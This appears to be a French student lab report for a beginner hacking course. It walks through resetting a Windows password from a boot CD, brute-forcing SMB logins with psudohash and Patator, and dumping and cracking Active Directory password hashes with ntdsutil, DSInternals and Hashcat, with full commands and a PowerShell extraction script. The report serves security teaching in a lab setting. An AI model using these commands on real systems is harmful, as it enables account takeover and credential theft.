Nom | Eloïd DOPPEL |
---|---|
Date | 07/02/2024 |
Cours | Technique de hacking débutant |
Professeur | Philippe MAJKOWSKI |
La page a été réalisée en colaboration avec Ernest KOENIGSAEKER.
Sur une machine Windows, nous démarrons l’ISO de Hiren’s BootCD. Nous pouvons ensuite nous rendre dans Utilities > Security > Passwords et lancer Lazesoft Password Recovery :
Nous sélectionnons Reset Windows Password et cliquons sur Next :
Nous pouvons ensuite sélectionner le système installé sur la machine :
On retrouve ainsi la liste des comptes avec le nom, le type de compte (administrateur ou utilisateur). Sélectionner le compte à réinitialiser et cliquer sur Next :
Nous cliquons enfin sur le bouton bleu RESET/UNLOCK, un message confirme que l’opération a réussi :
Sur une VM Linux nous lançons les commandes suivantes pour installer psudohash :
git clone https://github.com/t3l3machus/psudohash
cd ./psudohash
chmod +x psudohash.py
Nous savons que la cible travaille au sein de l'entreprise Lenovo.
Nous génèrons donc une série de mots de passe à partir du mot « lenovo », en ajoutant les valeurs des années précédentes ainsi que les caractères de substitution et de rembourrage les plus courants :
./psudohash.py -w lenovo --common-paddings-after -y 2020-2024
La liste ainsi générée sera utilisée pour lancer l’attaque par brute force avec le logiciel Patator.
Nous lancons la commande apt-get install patator
pour installer Patator ainsi que toutes les dépendances.
Nous allons ensuite entrer la commande suivante pour lancer l’attaque brute force avec la liste
de mots de passe générée avec psudohash :
patator smb_login host=10.10.0.93 user=Eloid password=FILE0 0=output.txt -x quit:"code=0"
L'attaque est ainsi lancée :
L’exécution s'achève lorsque la connexion a réussi. Le mot de passe est alors celui correspondant au code 0, ici « Len0v0_2024$ » :
(Je remercie Ernest qui m'a fourni l'ensemble des screens pour cette partie)
Sur un contrôleur de domaine Windows, exécuter le script suivant afin de créer des utilisateurs, à partir des informations contenues dans le fichier Utilisateur.csv :
Tous nos utilisateurs ont bien été crées :
Nous faisons une extraction du fichier ntds.dit présent sur notre machine Active Directory avec la commande ntdsutil suivante :
ntdsutil "activate instancentds" "ifm" "create full C:\ntds_backup"
[..]ntdsutil.exe: activate instance ntds
[..]ntdsutil.exe: ifm
ifm : create full C\ntds_backup
ifm : quit
Ensuite nous allons extraire le dossier SYSVOL présent sur le contrôleur de domaine avec la commande robocopy :
robocopy.exe \\127.0.0.1\sysvol\DOPPEL-HACKING.local\Policies c:\sysvol_backup /W:1 /R:1 /COPY:DATSO /E /TEE /LOG:logfile.log
A partir du dossier Dump dans le dossier AD-control-paths téléchargé sur le GitHub disponible ici, nous allons extraire les données de l’Active Directory au format CSV avec la commande Get-ADCPDump :
Import-Module .\ADCP
Get-ADCPDump -outputDir C:\ADCPDump -domainController 127.0.0.1 -domainDnsName DOPPEL-HACKING.local
Nous calculons les relations avec la commande Prepare-ADCPDump :
Prepare-ADCPDump -inputDir C:\ADCPDump\20240207_DOPPEL-HACKING.local -domainDnsName DOPPEL-HACKING.local
Toujours à l’aide du module ADCP, nous allons importer les fichiers CSV des relations ainsi que les objets AD dans notre base de données, ce qui donne :
Import-ADCPDump -inputDir C:\ADCPDump\20240207_DOPPEL-HACKING.local -domainDnsName DOPPEL-HACKING.local | Start-ADCPInstance
L’instance de Neo4j se lance donc et est accessible sur le port 7482 :
Nous pouvons ouvrir la page web de l’instance de Neo4j en tapant l’adresse indiquée.
A partir de cette page, nous pouvons effectuer toutes sortes de requêtes à partir de la base de données importée. Nous pouvons également visualiser le résultat de ces requêtes sous forme de graphes :
Télécharger les modules DSInternals et PowerSploit depuis GitHub et placer les dossiers dans le répertoire des modules PowerShell :
Nous ouvrons ensuite une fenêtre PowerShell en tant qu’administrateur afin d'importer les deux modules :
Import-Module DSinternals
Import-Module PowerSploit
En exécutant la commande suivante, nous allons pouvoir extraire la clé de chiffrement depuis le fichier SYSTEM, obtenu dans la partie précédente du TP :
$key = Get-BootKey -SystemHivePath 'C:\ntsds_backup\registry\SYSTEM'
Nous utilisons cette clé pour extraire les hashs des mots de passe contenus dans le fichier ntds.dit vers un fichier texte, avec la commande suivante :
Get-ADDBAccount -All -DBPath 'C:\ntsds_backup\Active Directory\ntds.dit' -BootKey $key >> hashes.txt
Dans ce fichier se trouvent une multitude de hashs différents. Celui qui nous intéresse est le NTHash, utilisé pour lors de la connexion à une session Active Directory :
Avec le script ci-dessous j'extrais uniquement les hashs dont j'ai besoin :
# Chemin du fichier source
$sourceFile = "C:\Users\Eloid\Desktop\HACKING\AD\hashes.txt"
# Chemin du nouveau fichier
$newFile = "C:\Users\Eloid\Desktop\HACKING\AD\hashe_only.txt"
# Lecture du fichier source avec l'encodage UTF-8
$lines = Get-Content -Path $sourceFile -Encoding UTF8
# Création d'une liste pour stocker les hachages extraits
$hashList = @()
# Parcourir chaque ligne du fichier source
foreach ($line in $lines) {
# Vérifier si la ligne commence par "NTHash:"
if ($line -match '^ NTHash:') {
# Extraire le hachage en utilisant une expression régulière
$hash = $line -replace '^ NTHash:\s*', ''
# Ajouter le hachage à la liste
$hashList += $hash
}
}
# Écrire les hachages extraits dans le nouveau fichier
$hashList | Out-File -FilePath $newFile -Encoding UTF8
Write-Host "Extraction des hachages terminée. Les hachages ont été sauvegardés dans $newFile."
Nous téléchargeons Hashcat depuis GitHub, puis nous exécutons le programme avec les options appropriées en fonction du type d’attaque.
Dans notre cas, on sait que chaque mot de passe suit un modèle bien précis (Premières lettes en majuscule, les trois suivantes en minuscule, un caractère spécial puis quatre chiffres).
Nous pouvons donc utiliser les arguments suivants : ?u?l?l?l?a?d?d?d?d
? | Charset |
---|---|
l | abcdefghijklmnopqrstuvwxyz |
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
d | 0123456789 |
h | 0123456789abcdef |
H | 0123456789ABCDEF |
s | !”#$%&’()*+,-./:;<=>?@[]^_`{}~ | |
a | ?l?u?d?s |
b | 0x00 - 0xff |
Notre commande ressemble donc a cela :
.\hashcat.exe -m 1000 -a 3 -w 3 -O C:\Users\Eloid\Desktop\HACKING\AD\hashe_only.txt ?u?l?l?l?a?d?d?d?d
L'argument -m
définit l'ID du hash (Type de hash, dans notre cas un hash de type NT), -a
définit
le type d'attaque, l'attaque de type 3 est le brute force. Le -w
définit la puissance fournie par l'ordinateur afin de casser le mot de passe, il peut aller de 1 à 4. Et enfin le -O
active l'optimisation du noyau.
Nous pouvons suivre la progression en appuyant sur la touche S.
Selon les paramètres fournis, l'attaque peut durer un certain temps.
Nous pouvons ensuite retrouver l’ensemble des mots de passe cassés dans le fichier hashcat.potfile.